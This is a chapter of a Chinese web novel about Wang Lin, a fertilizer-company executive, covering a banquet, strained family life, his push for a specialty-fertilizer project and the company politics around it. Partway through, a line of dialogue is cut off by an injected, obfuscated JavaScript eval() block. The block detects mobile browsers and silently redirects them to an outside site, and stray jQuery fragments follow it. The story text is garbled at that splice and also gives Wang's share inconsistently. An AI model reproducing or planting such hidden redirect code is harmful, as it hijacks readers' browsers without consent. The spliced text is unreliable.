《半生债》下卷第4章·暗流
一、庆功宴上的沉默
庆功宴摆在东海大酒店最大的包厢。水晶灯折射出炫目的光，照在旋转餐桌的玻璃转盘上，晃得人眼花。
李见俊举杯站起来，笑容满得快要溢出来：“这趟西北之行，王总、凯君，辛苦了！特别是王总，力挽狂澜，功不可没！”
酒杯相碰，清脆的声音在包厢里回荡。王霖抿了一口酒，52度的白酒从喉咙一路烧到胃里。桌上摆着龙虾、鲍鱼、东星斑，都是李见俊特意点的硬菜。
“王总，”宋泰生隔着桌子递过来一支烟，“老客户还是认你啊。这趟签了多少？一百五十万？”
“一百六十八万。”李凯君抢着回答，语气里带着邀功的雀跃，“而且全是现款。张杰那边压价再狠，也抵不过王总的面子。”
王霖笑了笑，没说话。面子——这个词现在听着，有种微妙的讽刺。当年他靠实力说话，现在要靠“面子”救场。
“不过，”宋泰生话锋一转，“张杰不会善罢甘休。我听说，他已经在甘肃设了点，下一步可能要打价格战。”
李见俊摆摆手：“兵来将挡。有王总在，西北市场丢不了。”他转向王霖，眼神诚恳得近乎表演，“王总，以后西北这块，你就多费心。需要什么支持，尽管开口。”
王霖点点头，又给自己倒了杯酒。李凯君在桌下轻轻碰了碰他的腿，眼神里写着担忧——他怕王霖喝多。
其实王霖清醒得很。清醒地看着这场戏：李见俊唱红脸，宋泰生唱白脸，李凯君在中间左右为难，而自己，是那个被架在功劳簿上、却依然只有百分之十五股份的“功臣”。
宴席过半，王霖借口去洗手间，走出了包厢。
走廊里铺着厚厚的地毯，踩上去悄无声息。他在窗边站定，摸出烟来。窗外是东海的夜景，霓虹灯沿着海岸线蜿蜒，像一条发光的蛇。
“躲这儿来了？”
王霖回头，李凯君也跟出来了。
“里面太闷。”王霖说。
李凯君靠在他旁边的窗台上，两人沉默地抽了会儿烟。包厢里的喧哗隔着门传出来，模模糊糊的，像另一个世界的声音。
“霖子，”李凯君忽然说，“李见俊今天说，想给你涨点分红比例。”
王霖夹烟的手顿了顿。
“我没答应。”李凯君深吸一口烟，“我说，王总不是图这个的人。要涨，就连股权一起调。”
王霖笑了，这次是真的笑了：“你就不怕他翻脸？”
“翻就翻吧。”李凯君把烟头按灭在窗台的烟灰缸里，“这趟去西安，我想明白一件事——有些线，不能退。”
包厢门开了，宋泰生探出头来：“两位老总，干嘛呢？回来喝酒啊！”
“来了。”李凯君应了一声，拍拍王霖的肩膀，“走吧，戏还得演完。”
王霖掐灭烟，最后看了一眼窗外的海。夜色里的海是黑色的，看不见波浪，只能听见远处传来的、低沉的涛声。
像某种暗示。
二、女儿的电话
回到家已经快十一点。王霖轻手轻脚地开门，客厅的灯还亮着。
张莉从沙发上站起来，脸上没有睡意：“喝酒了？”
“一点。”王霖换鞋，闻到厨房飘出来的汤味，“还没睡？”
“菁菁晚上打电话回来，说奖学金的事。”张莉去厨房盛汤，“你手机怎么关机了？”
王霖摸出手机，果然没电了。他插上充电器，屏幕亮起的瞬间，弹出好几个未接来电——都是女儿的。
“她说要等你回来，亲口告诉你。”张莉把汤碗放在餐桌上，热气腾腾的，“我让她先睡了，明天再打。”
王霖坐下来，舀了一勺汤。是老火鸡汤，张莉炖了一下午。汤很鲜，但他喝不出味道。
“西北怎么样？”张莉在他对面坐下。
“还行。”王霖说，“签了几个单子。”
张莉看着他，眼神里有种王霖读不懂的情绪。这么多年夫妻，她太了解他了——“还行”就是“不容易”，“签了几个单子”就是“拼了老命”。
“王霖，”张莉忽然说，“你要不……考虑换个地方？”
王霖抬起头。
“我不是说现在。”张莉避开他的眼神，“但你看，公司现在这样，你做得也不开心。菁菁马上大学毕业了，咱们也没什么大负担……”
“再等等。”王霖打断她，“现在走，不合适。”
“什么时候合适？”张莉的声音高了些，又压下去，“等你那百分之十五变成零？”
这话说重了。说完张莉就后悔了，但收不回来。
王霖放下汤勺，金属磕在瓷碗上，发出清脆的一声响。客厅里安静得可怕，只有墙上挂钟的滴答声，一秒一秒，走得刻板而坚决。
“对不起。”张莉先开口，“我只是……”
“我知道。”王霖站起身，“我去洗澡。”
浴室的水很热，冲在皮肤上有点疼。王霖站在花洒下，闭上眼睛。热水顺着脸流下来，分不清是水还是别的什么。
他想起来菁菁小时候，骑在他脖子上逛公园，小手抓着他的头发，咯咯地笑。那时他刚创业，租个小办公室，每天骑着摩托车跑客户。张莉在工行储蓄部，工资不高，但从来没抱怨过。
有一次，菁菁问他：“爸爸，你为什么要这么辛苦啊？”
他记得自己当时说：“因为爸爸想让菁菁过上好日子。”
现在菁菁长大了，要毕业了，拿了奖学金。可他这个爸爸，还在原地打转，甚至——往后退了。
洗完澡出来，张莉已经睡了。王霖走到阳台上，点了一支烟。夜很深，小区里只有几盏路灯还亮着，昏黄的光晕里，飞蛾不知疲倦地撞着灯罩。
手机震动了一下。是菁菁发来的短信：“爸，汤好喝吗？妈说给你炖了汤。”
王霖看着那行字，看了很久，然后回：“好喝。你早点睡。”
发送成功。他把手机握在手里，金属外壳被体温焐热。远处传来隐约的汽笛声，是港口的货轮，夜航的船。
三、宋泰生的算盘
周一上午，王霖刚到办公室，宋泰生就来了。
“王总，有个事跟你商量。”宋泰生自己拉了把椅子坐下，翘起二郎腿，“西北市场稳住了，咱们得想想下一步。”
王霖给他倒了杯茶：“宋总的意思是？”
“张杰打价格战，咱们不能硬碰硬。”宋泰生吹了吹茶水面上的浮叶，“我的想法是，开发新产品线——高端特种肥。价格高，利润空间大，避开低端市场的厮杀。”
王霖心里一动。这个思路，他其实早就想过。三年前，他就跟李凯君提过要研发特种肥，但当时公司忙着扩张，资金都投在产能上，这事就搁置了。
“技术上可行吗？”宋泰生问。
“可行。”王霖说，“但研发周期长，投入大。而且需要引进新的实验设备，招聘专业人才。”
“钱不是问题。”宋泰生放下茶杯，“李总那边我去说。关键是，王总你有多大把握？”
王霖没有马上回答。他走到书柜前，抽出一本厚厚的文件夹。里面是他这些年收集的技术资料、市场分析、还有手写的研发构想——很多页的边角都已经磨损卷曲了。
“这是三年前我开始做的调研。”王霖把文件夹推到宋泰生面前，“特种肥在国内市场还是一片蓝海。但难点在于，要根据不同作物、不同土壤条件做定制化配方。这需要大量的田间实验数据。”
宋泰生翻看着那些资料，越翻越慢，越翻越认真。最后他抬起头，眼神复杂地看着王霖：“王总，这些……你准备了三年？”
“一直想做。”王霖说，“只是没机会。”
宋泰生合上文件夹，手指在封面上敲了敲。那声音在安静的办公室里显得格外清晰。
“这样，”他说，“你做个详细的方案，包括预算、时间表、预期收益。我拿去跟李总谈。”
“好。”
宋泰生起身要走，到门口又转过身：“王总，有句话，不知当讲不当讲。”
“你说。”
“李见俊这个人……”宋泰生斟酌着词句，“看重的是短期回报。你这个项目，周期太长，他未必有耐心。”
王霖点点头：“我明白。”
“所以方案要做漂亮点。”宋泰生意味深长地说，“特别是前期见效的部分，要突出。”
门关上了。王霖坐回椅子上，看着桌上那本厚厚的文件夹。三年了，它终于有机会从抽屉深处重见天日。
可为什么，他心里一点兴奋都没有，反而沉甸甸的？
手机响了，是技术部小李：“王总，新来的那批原料检测结果出来了，有两个指标不达标。供应商说是批次问题，可以换货。”
“换了就能达标吗？”
“他们保证下一批没问题。但……”小李犹豫了一下，“但生产计划已经排好了，如果等换货，要耽搁三天。”
王霖揉了揉眉心。又是这种两难的选择——要么用不合格的原料将就，要么耽误生产进度。从前他会毫不犹豫选后者，但现在，他知道宋泰生每天盯着生产报表，三天耽搁，足够让他来问三次“为什么”。
“先换货。”王霖说，“生产计划调整一下，加班赶进度。”
“那加班费……”
“我来批。”
挂断电话，王霖靠在椅背上，闭上眼睛。阳光从百叶窗的缝隙里漏进来，在他脸上切出明暗相间的条纹。
他忽然想起很多年前，父亲对他说过的一句话：“做人难，做企业更难。因为人只要对自己负责，企业要对一群人负责。”
那时他不懂。现在懂了，却已经骑虎难下。
四、老马的来电
周三下午，王霖正在修改特种肥的方案，手机响了。是个西安的号码。
“王总！我老马！”
老马的声音很大，背景音很吵，听起来像是在市场里。
“老马，什么事？”
“好事！”老马那边有人在喊什么，他骂了一句，走远了些，“你上次给我的那十吨试验品，效果出来了！隔壁老赵家用的普通肥，苗长得没我家的壮实！现在市场里好几个老板都来问，你这新品什么时候正式上市？”
王霖精神一振：“效果明显吗？”
“明显！特别明显！”老马兴奋地说，“王总，我跟你说，这肥要是能量产，我第一个签代理合同！价格你定，只要别太离谱就行。”
挂了电话，王霖看着电脑屏幕上还没完成的方案，心里那团熄灭已久的火，似乎又窜起了一点火星。
他拿起内线电话：“小李，来我办公室一趟。”
五分钟后，小李急匆匆来了：“王总？”
“特种肥的田间实验数据，咱们自己手头有多少？”
小李想了想：“不多。前几年零散做过一些，但不系统。主要是没专项经费，做得断断续续的。”
“如果现在开始做，最快多久能有初步结果？”
“至少要一个生长周期。如果是大田作物，三个月到半年。如果是果树，那得一年以上。”
王霖沉思片刻：“先从大田作物开始。你选两三个有代表性的地区，西安那边我让老马帮忙找试验田。费用……”他顿了顿，“先从我的项目备用金里出。”
小李愣了一下：“王总，这不符合财务规定吧？项目备用金是批下来才能动用的……”
“先垫上。”王霖说，“等方案批了再补回去。”
小李欲言又止，最后还是点点头：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196375|197133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我马上去办。”
小李走后，王霖继续修改方案。但这次，他的手指在键盘上敲得飞快。那些枯燥的数据、冗长的分析，忽然都有了意义——因为老马电话里兴奋的声音，让他想起了最初创业时的感觉。
那种做出一款好产品，真正帮到农民，然后被认可、被需要的感觉。
快下班时，李凯君推门进来，脸色不太好。
“霖子，听说你要动项目备用金？”
消息传得真快。王霖不动声色：“垫一下实验经费。怎么，有人有意见？”
“宋泰生刚问我，说你这个项目还没上会，怎么就开始花钱了。”李凯君压低声音，“他是不是在盯着你？”
“让他盯。”王霖保存文档，关上电脑，“实验数据是做方案的基础。没有数据，方案就是纸上谈兵。这个道理，他宋泰生应该懂。”
“话是这么说……”李凯君叹了口气，“但现在公司里，盯着你的人不少。李见俊表面上夸你，背地里怎么想，谁知道呢？”
王霖站起身，拍拍李凯君的肩：“凯君，你知道我为什么一定要做这个项目吗？”
李凯君摇头。
“因为这是条活路。”王霖说，“低端市场已经杀成红海了，价格战打下去，谁都活不了。只有往上走，做别人做不了的东西，才有出路。”
窗外，夕阳正在西沉，把天空染成一片绚烂的金红。办公楼里陆续亮起灯，像星星提前落在了人间。
“走吧，”王霖说，“请你吃饭。我知道一家新开的杭帮菜，清淡，养胃。”
两人走出办公室。走廊里，其他部门的人还在加班，键盘声、电话声、讨论声混在一起，汇成公司日常的喧哗。
王霖走过这些声音，忽然觉得，自己好像又回到了当年——那个不管多难，都要咬牙往前冲的年纪。
只是这一次，他背负的东西更多了。
有那百分之五的股权，有老马们的期待，有女儿的奖学金，有张莉没说出口的担忧。
还有，心里那点不肯熄灭的火。
五、暗流涌动
周五的例会，气氛微妙。
李见俊坐在主位，听完各部门汇报，最后才转向王霖：“王总，特种肥的方案，听说你在做了？”
“初稿已经完成。”王霖把打印好的方案递过去，“宋总建议我先做个详细方案。”
李见俊接过，没有马上看，而是放在手边：“这个项目，前期投入要多少？”
“第一期研发和设备投入，大概三百万。”王霖说，“如果田间实验顺利，六个月后可以小规模试产。”
“三百万。”李见俊重复了一遍，手指在桌面上轻轻敲着，“回报周期呢？”
“两年左右可以回本。但更重要的是，特种肥的毛利率能达到百分之四十以上，是普通肥的两倍。”
宋泰生接过话头：“李总，现在普通肥市场竞争太激烈了。张杰在西北压价，其他区域也有跟风的。咱们必须找新的增长点。”
李见俊没说话，翻开了方案。会议室里安静下来，只有纸张翻动的声音。王霖注意到，李见俊看得很慢，在某些页面停留的时间特别长。
那是关于技术核心的部分，也是王霖最花心血的部分。
“技术壁垒有多高？”李见俊忽然问。
“很高。”王霖说，“配方需要根据土壤成分、作物种类动态调整，这不是简单抄袭就能做到的。而且我们计划申请专利，形成保护。”
李见俊合上方案，身体往后靠了靠，椅背发出轻微的吱呀声。
“王总，我不是怀疑你的技术能力。”他说，“但这个投入不小，风险也大。万一市场不接受呢？万一研发周期拖长呢？”
“所以我们需要先做田间实验。”王霖早有准备，“用数据说话。如果实验数据好，市场推广就有底气。”
李见俊看向宋泰生：“宋总觉得呢？”
“我觉得可以投。”宋泰生说得干脆，“但要有阶段性目标。比如，三个月内出初步数据，六个月完成配方定型。每个阶段达不到目标，项目就要重新评估。”
“王总的意思？”李见俊又看回王霖。
“可以。”王霖说。
“那行。”李见俊拍板，“先批五十万启动资金，做田间实验。如果数据理想，再追加投资。”
散会后，王霖最后一个离开会议室。他把杯子里凉透的茶喝完，茶叶的苦涩在舌尖蔓延。
五十万。离三百万的预算差得很远，但至少，是个开始。
走廊里，他碰见了财务部的小芳。小芳抱着文件夹，见到他，欲言又止。
“怎么了？”王霖问。
小芳左右看了看，声音压得极低：“王总，李总昨天交代，所有超过十万的支出，都要他亲自审批。包括……项目备用金。”
王霖心里一沉，面上却不动声色：“知道了。谢谢。”
回到办公室，他关上门，在窗前站了很久。楼下，公司的货车正在装货，工人们忙碌地搬运着一袋袋肥料。那些都是最普通的产品，利润微薄，却支撑着公司日常的运转。
他的特种肥，会是下一个增长点，还是又一个烧钱的梦想？
手机震动，是女儿菁菁发来的照片。她在图书馆，面前堆着厚厚的书，对着镜头比了个胜利的手势。附言：“爸，我在准备考研。加油！”
王霖看着照片里女儿青春洋溢的脸，忽然笑了。他回：“一起加油。”
窗外，天空不知何时阴了下来，乌云从海的方向涌来，沉甸甸的，压在城市上空。
要下雨了。
而海面之下，暗流已经开始涌动。
---
【第四章·暗流 完】
（字数：6,287字）
---